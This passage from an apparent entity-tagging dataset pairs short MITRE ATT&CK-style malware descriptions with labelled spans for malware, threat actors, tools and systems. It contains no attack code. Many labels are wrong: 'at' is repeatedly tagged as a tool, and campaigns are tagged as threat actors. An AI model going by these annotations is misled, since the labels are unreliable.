"FlawedGrace is a fully featured remote access tool (RAT) written in C++ that was first observed in late 2017.", "spans": {"MALWARE: FlawedGrace": [[0, 11]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0383"}} {"text": "FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.", "spans": {"MALWARE: FLASHFLOOD": [[0, 10]], "THREAT_ACTOR: APT30": [[35, 40], [114, 119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0036"}} {"text": "FlawedAmmyy is a remote access tool (RAT) that was first seen in early 2016. The code for FlawedAmmyy was based on leaked source code for a version of Ammyy Admin, a remote access software.", "spans": {"MALWARE: FlawedAmmyy": [[0, 11], [90, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0381"}} {"text": "Snip3 is a sophisticated crypter-as-a-service that has been used since at least 2021 to obfuscate and load numerous strains of malware including AsyncRAT, Revenge RAT, Agent Tesla, and NETWIRE.", "spans": {"MALWARE: Snip3": [[0, 5]], "TOOL: at": [[71, 73]], "MALWARE: AsyncRAT": [[145, 153]], "MALWARE: Revenge RAT": [[155, 166]], "MALWARE: Agent Tesla": [[168, 179]], "MALWARE: NETWIRE": [[185, 192]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1086"}} {"text": "FYAnti is a loader that has been used by menuPass since at least 2020, including to deploy QuasarRAT.", "spans": {"MALWARE: FYAnti": [[0, 6]], "THREAT_ACTOR: menuPass": [[41, 49]], "TOOL: at": [[56, 58]], "TOOL: QuasarRAT": [[91, 100]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0628"}} {"text": "Rifdoor is a remote access trojan (RAT) that shares numerous code similarities with HotCroissant.", "spans": {"MALWARE: Rifdoor": [[0, 7]], "MALWARE: HotCroissant": [[84, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0433"}} {"text": "SUGARUSH is a small custom backdoor that can establish a reverse shell over TCP to a hard coded C2 address. SUGARUSH was first identified during analysis of UNC3890's C0010 campaign targeting Israeli companies, which began in late 2020.", "spans": {"MALWARE: SUGARUSH": [[0, 8], [108, 116]], "THREAT_ACTOR: C0010": [[167, 172]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1049"}} {"text": "LoFiSe has been used by ToddyCat since at least 2023 to identify and collect files of interest on targeted systems.", "spans": {"MALWARE: LoFiSe": [[0, 6]], "THREAT_ACTOR: ToddyCat": [[24, 32]], "TOOL: at": [[39, 41]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1101"}} {"text": "HOPLIGHT is a backdoor Trojan that has reportedly been used by the North Korean government.", "spans": {"MALWARE: HOPLIGHT": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0376"}} {"text": "Cuckoo Stealer is a macOS malware with characteristics of spyware and an infostealer that has been in use since at least 2024. Cuckoo Stealer is a universal Mach-O binary that can run on Intel or ARM-based Macs and has been spread through trojanized versions of various potentially unwanted programs or PUP's such as converters, cleaners, and uninstallers.", "spans": {"MALWARE: Cuckoo Stealer": [[0, 14], [127, 141]], "SYSTEM: macOS": [[20, 25]], "TOOL: at": [[112, 114]], "ORGANIZATION: Intel": [[187, 192]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1153"}} {"text": "GuLoader is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including NETWIRE, Agent Tesla, NanoCore, FormBook, and Parallax RAT.", "spans": {"MALWARE: GuLoader": [[0, 8]], "TOOL: at": [[55, 57]], "MALWARE: NETWIRE": [[157, 164]], "MALWARE: Agent Tesla": [[166, 177]], "MALWARE: NanoCore": [[179, 187]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0561"}} {"text": "MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic.", "spans": {"MALWARE: MobileOrder": [[0, 11]], "SYSTEM: Android": [[47, 54]], "THREAT_ACTOR: Scarlet Mimic": [[91, 104]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0079"}} {"text": "WastedLocker is a ransomware family attributed to Indrik Spider that has been used since at least May 2020. WastedLocker has been used against a broad variety of sectors, including manufacturing, information technology, and media.", "spans": {"MALWARE: WastedLocker": [[0, 12], [108, 120]], "THREAT_ACTOR: Indrik Spider": [[50, 63]], "TOOL: at": [[89, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0612"}} {"text": "RegDuke is a first stage implant written in .NET and used by APT29 since at least 2017. RegDuke has been used to control a compromised machine when control of other implants on the machine was lost.", "spans": {"MALWARE: RegDuke": [[0, 7], [88, 95]], "SYSTEM: .NET": [[44, 48]], "THREAT_ACTOR: APT29": [[61, 66]], "TOOL: at": [[73, 75]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0511"}} {"text": "ProLock is a ransomware strain that has been used in Big Game Hunting (BGH) operations since at least 2020, often obtaining initial access with QakBot. ProLock is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.", "spans": {"MALWARE: ProLock": [[0, 7], [152, 159]], "TOOL: at": [[93, 95]], "MALWARE: QakBot": [[144, 150]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0654"}} {"text": "Moneybird is a ransomware variant written in C++ associated with Agrius operations. The name \"Moneybird\" is contained in the malware's ransom note and as strings in the executable.", "spans": {"MALWARE: Moneybird": [[0, 9], [94, 103]], "THREAT_ACTOR: Agrius": [[65, 71]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1137"}} {"text": "InvisiMole is a modular spyware program that has been used by the InvisiMole Group since at least 2013. InvisiMole has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. Gamaredon Group infrastructure has been used to download and execute InvisiMole against a small number of victims.", "spans": {"MALWARE: InvisiMole": [[0, 10], [66, 76], [104, 114], [360, 370]], "TOOL: at": [[89, 91]], "THREAT_ACTOR: Gamaredon Group": [[291, 306]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0260"}} {"text": "CLAIMLOADER is a malware variant that frequently accompanies legitimate executables that are used for DLL side-loading known to be leveraged by Mustang Panda and was first observed utilized in 2021.", "spans": {"MALWARE: CLAIMLOADER": [[0, 11]], "THREAT_ACTOR: Mustang Panda": [[144, 157]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1236"}} {"text": "P.A.S. Webshell is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.", "spans": {"MALWARE: P.A.S. Webshell": [[0, 15]], "SYSTEM: PHP": [[56, 59]], "TOOL: at": [[82, 84]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0598"}} {"text": "QUIETEXIT is a novel backdoor, based on the open-source Dropbear SSH client-server software, that has been used by APT29 since at least 2021. APT29 has deployed QUIETEXIT on opaque network appliances that typically don't support antivirus or endpoint detection and response tools within a victim environment.", "spans": {"MALWARE: QUIETEXIT": [[0, 9], [161, 170]], "SYSTEM: SSH": [[65, 68]], "THREAT_ACTOR: APT29": [[115, 120], [142, 147]], "TOOL: at": [[127, 129]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1084"}} {"text": "Naid is a trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Naid": [[0, 4]], "THREAT_ACTOR: Elderwood": [[25, 34]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0205"}} {"text": "Apostle is malware that has functioned as both a wiper and, in more recent versions, as ransomware. Apostle is written in .NET and shares various programming and functional overlaps with IPsec Helper.", "spans": {"MALWARE: Apostle": [[0, 7], [101, 108]], "SYSTEM: .NET": [[123, 127]], "MALWARE: IPsec Helper": [[188, 200]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1133"}} {"text": "Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing.", "spans": {"MALWARE: Volgmer": [[0, 7]], "TOOL: at": [[111, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0180"}} {"text": "WINERACK is a backdoor used by APT37.", "spans": {"MALWARE: WINERACK": [[0, 8]], "THREAT_ACTOR: APT37": [[31, 36]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0219"}} {"text": "WhisperGate is a multi-stage wiper designed to look like ransomware that has been used against multiple government, non-profit, and information technology organizations in Ukraine since at least January 2022.", "spans": {"MALWARE: WhisperGate": [[0, 11]], "TOOL: at": [[186, 188]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0689"}} {"text": "FruitFly is designed to spy on mac users .", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0277"}} {"text": "ZeroT is a Trojan used by TA459, often in conjunction with PlugX.", "spans": {"MALWARE: ZeroT": [[0, 5]], "THREAT_ACTOR: TA459": [[26, 31]], "MALWARE: PlugX": [[59, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0230"}} {"text": "This piece of malware steals the content of the user's keychain while maintaining a permanent backdoor .", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0276"}} {"text": "AcidPour is a variant of AcidRain designed to impact a wider range of x86 architecture Linux devices. AcidPour is an x86 ELF binary that expands on the targeted devices and locations in AcidRain by including items such as Unsorted Block Image (UBI), Deice Mapper (DM), and various flash memory references. Based on this expanded targeting, AcidPour can impact a variety of device types including IoT, networking, and ICS embedded device types. AcidPour is a wiping payload associated with the Sandworm Team threat actor, and potentially linked to attacks against Ukrainian internet service providers (ISPs) in 2023.", "spans": {"MALWARE: AcidPour": [[0, 8], [102, 110], [340, 348], [444, 452]], "MALWARE: AcidRain": [[25, 33], [186, 194]], "SYSTEM: Linux": [[87, 92]], "THREAT_ACTOR: Sandworm Team": [[493, 506]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1167"}} {"text": "RDAT is a backdoor used by the suspected Iranian threat group OilRig. RDAT was originally identified in 2017 and targeted companies in the telecommunications sector.", "spans": {"MALWARE: RDAT": [[0, 4], [70, 74]], "THREAT_ACTOR: OilRig": [[62, 68]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0495"}} {"text": "Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software.", "spans": {"MALWARE: Hacking Team UEFI Rootkit": [[0, 25]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0047"}} {"text": "Skidmap is a kernel-mode rootkit used for cryptocurrency mining.", "spans": {"MALWARE: Skidmap": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0468"}} {"text": "Okrum is a Windows backdoor that has been seen in use since December 2016 with strong links to Ke3chang.", "spans": {"MALWARE: Okrum": [[0, 5]], "SYSTEM: Windows": [[11, 18]], "THREAT_ACTOR: Ke3chang": [[95, 103]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0439"}} {"text": "TRANSLATEXT is malware that is believed to be used by Kimsuky. TRANSLATEXT masqueraded as a Google Translate extension for Google Chrome, but is actually a collection of four malicious Javascript files that perform defense evasion, information collection and exfiltration.", "spans": {"MALWARE: TRANSLATEXT": [[0, 11], [63, 74]], "THREAT_ACTOR: Kimsuky": [[54, 61]], "ORGANIZATION: Google": [[92, 98]], "SYSTEM: Google Chrome": [[123, 136]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1201"}} {"text": "Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003.", "spans": {"MALWARE: Regin": [[0, 5], [144, 149]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0019"}} {"text": "Bonadan is a malicious version of OpenSSH which acts as a custom backdoor. Bonadan has been active since at least 2018 and combines a new cryptocurrency-mining module with the same credential-stealing module used by the Onderon family of backdoors.", "spans": {"MALWARE: Bonadan": [[0, 7], [75, 82]], "SYSTEM: OpenSSH": [[34, 41]], "TOOL: at": [[105, 107]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0486"}} {"text": "Line Dancer is a memory-only Lua-based shellcode loader associated with the ArcaneDoor campaign. Line Dancer allows an adversary to upload and execute arbitrary shellcode on victim devices.", "spans": {"MALWARE: Line Dancer": [[0, 11], [97, 108]], "THREAT_ACTOR: ArcaneDoor": [[76, 86]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1186"}} {"text": "SamSam is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.", "spans": {"MALWARE: SamSam": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0370"}} {"text": "Neoichor is C2 malware used by Ke3chang since at least 2019; similar malware families used by the group include Leeson and Numbldea.", "spans": {"MALWARE: Neoichor": [[0, 8]], "THREAT_ACTOR: Ke3chang": [[31, 39]], "TOOL: at": [[46, 48]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0691"}} {"text": "Conti is a Ransomware-as-a-Service (RaaS) that was first observed in December 2019. Conti has been deployed via TrickBot and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using Conti steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.", "spans": {"MALWARE: Conti": [[0, 5], [84, 89], [267, 272]], "MALWARE: TrickBot": [[112, 120]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0575"}} {"text": "Raspberry Robin is initial access malware first identified in September 2021, and active through early 2024. The malware is notable for spreading via infected USB devices containing a malicious LNK object that, on execution, retrieves remote hosted payloads for installation. Raspberry Robin has been widely used against various industries and geographies, and as a precursor to information stealer, ransomware, and other payloads such as SocGholish, Cobalt Strike, IcedID, and Bumblebee. The DLL componenet in the Raspberry Robin infection chain is also referred to as \"Roshtyak.\" The name \"Raspberry Robin\" is used to refer to both the malware as well as the threat actor associated with its use, although the Raspberry Robin operators are also tracked as Storm-0856 by some vendors.", "spans": {"MALWARE: Raspberry Robin": [[0, 15], [276, 291], [515, 530], [592, 607], [712, 727]], "MALWARE: SocGholish": [[439, 449]], "TOOL: Cobalt Strike": [[451, 464]], "MALWARE: IcedID": [[466, 472]], "MALWARE: Bumblebee": [[478, 487]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1130"}} {"text": "Mispadu is a banking trojan written in Delphi that was first observed in 2019 and uses a Malware-as-a-Service (MaaS) business model. This malware is operated, managed, and sold by the Malteiro cybercriminal group. Mispadu has mainly been used to target victims in Brazil and Mexico, and has also had confirmed operations throughout Latin America and Europe.", "spans": {"MALWARE: Mispadu": [[0, 7], [214, 221]], "THREAT_ACTOR: Malteiro": [[184, 192]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1122"}} {"text": "RemoteCMD is a custom tool used by APT3 to execute commands on a remote system similar to SysInternal's PSEXEC functionality.", "spans": {"MALWARE: RemoteCMD": [[0, 9]], "THREAT_ACTOR: APT3": [[35, 39]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0166"}} {"text": "Megazord is a Rust-based variant of Akira ransomware that has been in use since at least August 2023 to target Windows environments. Megazord has been attributed to the Akira group based on overlapping infrastructure though is possibly not exclusive to the group.", "spans": {"MALWARE: Megazord": [[0, 8], [133, 141]], "MALWARE: Akira": [[36, 41], [169, 174]], "TOOL: at": [[80, 82]], "SYSTEM: Windows": [[111, 118]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1191"}} {"text": "Diavol is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. The Diavol Ransomware-as-a Service (RaaS) program is managed by Wizard Spider and it has been observed being deployed by Bazar.", "spans": {"MALWARE: Diavol": [[0, 6], [188, 194]], "THREAT_ACTOR: Wizard Spider": [[248, 261]], "MALWARE: Bazar": [[305, 310]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0659"}} {"text": "REPTILE is an open-source Linux rootkit with multiple components that provides backdoor access and functionality.", "spans": {"MALWARE: REPTILE": [[0, 7]], "SYSTEM: Linux": [[26, 31]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1219"}} {"text": "Raindrop is a loader used by APT29 that was discovered on some victim machines during investigations related to the SolarWinds Compromise. It was discovered in January 2021 and was likely used since at least May 2020.", "spans": {"MALWARE: Raindrop": [[0, 8]], "THREAT_ACTOR: APT29": [[29, 34]], "THREAT_ACTOR: SolarWinds Compromise": [[116, 137]], "TOOL: at": [[199, 201]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0565"}} {"text": "Doki is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020. Doki was used in conjunction with the ngrok Mining Botnet in a campaign that targeted Docker servers in cloud platforms.", "spans": {"MALWARE: Doki": [[0, 4], [118, 122]], "TOOL: ngrok": [[156, 161]], "SYSTEM: Docker": [[204, 210]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0600"}} {"text": "TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017.", "spans": {"MALWARE: TEXTMATE": [[0, 8]], "TOOL: PowerShell": [[27, 37]], "MALWARE: POWERSOURCE": [[110, 121]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0146"}} {"text": "Siloscape is malware that targets Kubernetes clusters through Windows containers. Siloscape was first observed in March 2021.", "spans": {"MALWARE: Siloscape": [[0, 9], [82, 91]], "SYSTEM: Kubernetes": [[34, 44]], "SYSTEM: Windows": [[62, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0623"}} {"text": "BlackCat is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, BlackCat has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.", "spans": {"MALWARE: BlackCat": [[0, 8], [137, 145]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1068"}} {"text": "Fysbis is a Linux-based backdoor used by APT28 that dates back to at least 2014.", "spans": {"MALWARE: Fysbis": [[0, 6]], "SYSTEM: Linux": [[12, 17]], "THREAT_ACTOR: APT28": [[41, 46]], "TOOL: at": [[66, 68]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0410"}} {"text": "IcedID is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017. IcedID has been downloaded by Emotet in multiple campaigns.", "spans": {"MALWARE: IcedID": [[0, 6], [133, 139]], "TOOL: at": [[117, 119]], "MALWARE: Emotet": [[164, 170]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0483"}} {"text": "VERMIN is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code.", "spans": {"MALWARE: VERMIN": [[0, 6]], "ORGANIZATION: Microsoft": [[46, 55]], "SYSTEM: .NET": [[56, 60]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0257"}} {"text": "UBoatRAT is a remote access tool that was identified in May 2017.", "spans": {"MALWARE: UBoatRAT": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0333"}} {"text": "Nightdoor is a backdoor exclusively associated with Daggerfly operations. Nightdoor uses common libraries with MgBot and MacMa, linking these malware families together.", "spans": {"MALWARE: Nightdoor": [[0, 9], [74, 83]], "THREAT_ACTOR: Daggerfly": [[52, 61]], "MALWARE: MgBot": [[111, 116]], "MALWARE: MacMa": [[121, 126]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1147"}} {"text": "MarkiRAT is a remote access Trojan (RAT) compiled with Visual Studio that has been used by Ferocious Kitten since at least 2015.", "spans": {"MALWARE: MarkiRAT": [[0, 8]], "THREAT_ACTOR: Ferocious Kitten": [[91, 107]], "TOOL: at": [[114, 116]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0652"}} {"text": "PowerShower is a PowerShell backdoor used by Inception for initial reconnaissance and to download and execute second stage payloads.", "spans": {"MALWARE: PowerShower": [[0, 11]], "TOOL: PowerShell": [[17, 27]], "THREAT_ACTOR: Inception": [[45, 54]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0441"}} {"text": "Kazuar is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework.", "spans": {"MALWARE: Kazuar": [[0, 6]], "ORGANIZATION: Microsoft": [[77, 86]], "SYSTEM: .NET": [[87, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0265"}} {"text": "NavRAT is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea.", "spans": {"MALWARE: NavRAT": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0247"}} {"text": "DarkComet is a Windows remote administration tool and backdoor.", "spans": {"MALWARE: DarkComet": [[0, 9]], "SYSTEM: Windows": [[15, 22]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0334"}} {"text": "NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.”", "spans": {"MALWARE: NETEAGLE": [[0, 8]], "THREAT_ACTOR: APT30": [[36, 41]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0034"}} {"text": "POORAIM is a backdoor used by APT37 in campaigns since at least 2014.", "spans": {"MALWARE: POORAIM": [[0, 7]], "THREAT_ACTOR: APT37": [[30, 35]], "TOOL: at": [[55, 57]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0216"}} {"text": "HUI Loader is a custom DLL loader that has been used since at least 2015 by China-based threat groups including Cinnamon Tempest and menuPass to deploy malware on compromised hosts. HUI Loader has been observed in campaigns loading SodaMaster, PlugX, Cobalt Strike, Komplex, and several strains of ransomware.", "spans": {"MALWARE: HUI Loader": [[0, 10], [182, 192]], "TOOL: at": [[59, 61]], "THREAT_ACTOR: Cinnamon Tempest": [[112, 128]], "THREAT_ACTOR: menuPass": [[133, 141]], "MALWARE: SodaMaster": [[232, 242]], "MALWARE: PlugX": [[244, 249]], "TOOL: Cobalt Strike": [[251, 264]], "MALWARE: Komplex": [[266, 273]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1097"}} {"text": "CHIMNEYSWEEP is a backdoor malware that was deployed during HomeLand Justice along with ROADSWEEP ransomware, and has been used to target Farsi and Arabic speakers since at least 2012.", "spans": {"MALWARE: CHIMNEYSWEEP": [[0, 12]], "THREAT_ACTOR: HomeLand Justice": [[60, 76]], "MALWARE: ROADSWEEP": [[88, 97]], "TOOL: at": [[170, 172]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1149"}} {"text": "Ragnar Locker is a ransomware that has been in use since at least December 2019.", "spans": {"MALWARE: Ragnar Locker": [[0, 13]], "TOOL: at": [[57, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0481"}} {"text": "FatDuke is a backdoor used by APT29 since at least 2016.", "spans": {"MALWARE: FatDuke": [[0, 7]], "THREAT_ACTOR: APT29": [[30, 35]], "TOOL: at": [[42, 44]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0512"}} {"text": "Lucifer is a crypto miner and DDoS hybrid malware that leverages well-known exploits to spread laterally on Windows platforms.", "spans": {"MALWARE: Lucifer": [[0, 7]], "SYSTEM: Windows": [[108, 115]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0532"}} {"text": "BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3.", "spans": {"MALWARE: BlackEnergy": [[0, 11], [441, 452], [459, 470]], "TOOL: at": [[102, 104]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0089"}} {"text": "zwShell is a remote access tool (RAT) written in Delphi that has been seen in the wild since the spring of 2010 and used by threat actors during Night Dragon.", "spans": {"MALWARE: zwShell": [[0, 7]], "THREAT_ACTOR: Night Dragon": [[145, 157]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0350"}} {"text": "Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain.", "spans": {"MALWARE: Zeroaccess": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0027"}} {"text": "GLASSTOKEN is a custom web shell used by threat actors during Cutting Edge to execute commands on compromised Ivanti Secure Connect VPNs.", "spans": {"MALWARE: GLASSTOKEN": [[0, 10]], "THREAT_ACTOR: Cutting Edge": [[62, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1117"}} {"text": "DCSrv is destructive malware that has been used by Moses Staff since at least September 2021. Though DCSrv has ransomware-like capabilities, Moses Staff does not demand ransom or offer a decryption key.", "spans": {"MALWARE: DCSrv": [[0, 5], [102, 107]], "THREAT_ACTOR: Moses Staff": [[51, 62], [142, 153]], "TOOL: at": [[69, 71]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1033"}} {"text": "DRATzarus is a remote access tool (RAT) that has been used by Lazarus Group to target the defense and aerospace organizations globally since at least summer 2020. DRATzarus shares similarities with Bankshot, which was used by Lazarus Group in 2017 to target the Turkish financial sector.", "spans": {"MALWARE: DRATzarus": [[0, 9], [163, 172]], "THREAT_ACTOR: Lazarus Group": [[62, 75], [226, 239]], "TOOL: at": [[141, 143]], "MALWARE: Bankshot": [[198, 206]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0694"}} {"text": "BOOSTWRITE is a loader crafted to be launched via abuse of the DLL search order of applications used by FIN7.", "spans": {"MALWARE: BOOSTWRITE": [[0, 10]], "THREAT_ACTOR: FIN7": [[104, 108]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0415"}} {"text": "Rising Sun is a modular backdoor that was used extensively in Operation Sharpshooter between 2017 and 2019. Rising Sun infected at least 87 organizations around the world, including nuclear, defense, energy, and financial service companies. Security researchers assessed Rising Sun included some source code from Lazarus Group's Trojan Duuzer.", "spans": {"MALWARE: Rising Sun": [[0, 10], [108, 118], [271, 281]], "THREAT_ACTOR: Operation Sharpshooter": [[62, 84]], "TOOL: at": [[128, 130]], "THREAT_ACTOR: Lazarus Group": [[313, 326]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0448"}} {"text": "ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version.", "spans": {"MALWARE: ASPXSpy": [[0, 7]], "THREAT_ACTOR: Threat Group-3390": [[48, 65]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0073"}} {"text": "NotPetya is malware that was used by Sandworm Team in a worldwide attack starting on June 27, 2017. While NotPetya appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, NotPetya may be more appropriately thought of as a form of wiper malware. NotPetya contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.", "spans": {"MALWARE: NotPetya": [[0, 8], [106, 114], [307, 315], [381, 389]], "THREAT_ACTOR: Sandworm Team": [[37, 50]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0368"}} {"text": "ShimRat has been used by the suspected China-based adversary Mofang in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name \"ShimRat\" comes from the malware's extensive use of Windows Application Shimming to maintain persistence.", "spans": {"MALWARE: ShimRat": [[0, 7], [226, 233]], "THREAT_ACTOR: Mofang": [[61, 67]], "SYSTEM: Windows": [[277, 284]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0444"}} {"text": "Chrommme is a backdoor tool written using the Microsoft Foundation Class (MFC) framework that was first reported in June 2021; security researchers noted infrastructure overlaps with Gelsemium malware.", "spans": {"MALWARE: Chrommme": [[0, 8]], "ORGANIZATION: Microsoft": [[46, 55]], "MALWARE: Gelsemium": [[183, 192]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0667"}} {"text": "BADFLICK is a backdoor used by Leviathan in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries.", "spans": {"MALWARE: BADFLICK": [[0, 8]], "THREAT_ACTOR: Leviathan": [[31, 40]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0642"}} {"text": "ObliqueRAT is a remote access trojan, similar to Crimson, that has been in use by Transparent Tribe since at least 2020.", "spans": {"MALWARE: ObliqueRAT": [[0, 10]], "MALWARE: Crimson": [[49, 56]], "THREAT_ACTOR: Transparent Tribe": [[82, 99]], "TOOL: at": [[106, 108]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0644"}} {"text": "SHOTPUT is a custom backdoor used by APT3.", "spans": {"MALWARE: SHOTPUT": [[0, 7]], "THREAT_ACTOR: APT3": [[37, 41]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0063"}} {"text": "Avaddon is ransomware written in C++ that has been offered as Ransomware-as-a-Service (RaaS) since at least June 2020.", "spans": {"MALWARE: Avaddon": [[0, 7]], "TOOL: at": [[99, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0640"}} {"text": "Conficker is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread. In 2016, a variant of Conficker made its way on computers and removable disk drives belonging to a nuclear power plant.", "spans": {"MALWARE: Conficker": [[0, 9], [166, 175]], "ORGANIZATION: Microsoft": [[74, 83]], "SYSTEM: Windows": [[84, 91], [111, 118]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0608"}} {"text": "SocGholish is a JavaScript-based loader malware that has been used since at least 2017. It has been observed in use against multiple sectors globally for initial access, primarily through drive-by-downloads masquerading as software updates. SocGholish is operated by Mustard Tempest and its access has been sold to groups including Indrik Spider for downloading secondary RAT and ransomware payloads.", "spans": {"MALWARE: SocGholish": [[0, 10], [241, 251]], "SYSTEM: JavaScript": [[16, 26]], "TOOL: at": [[73, 75]], 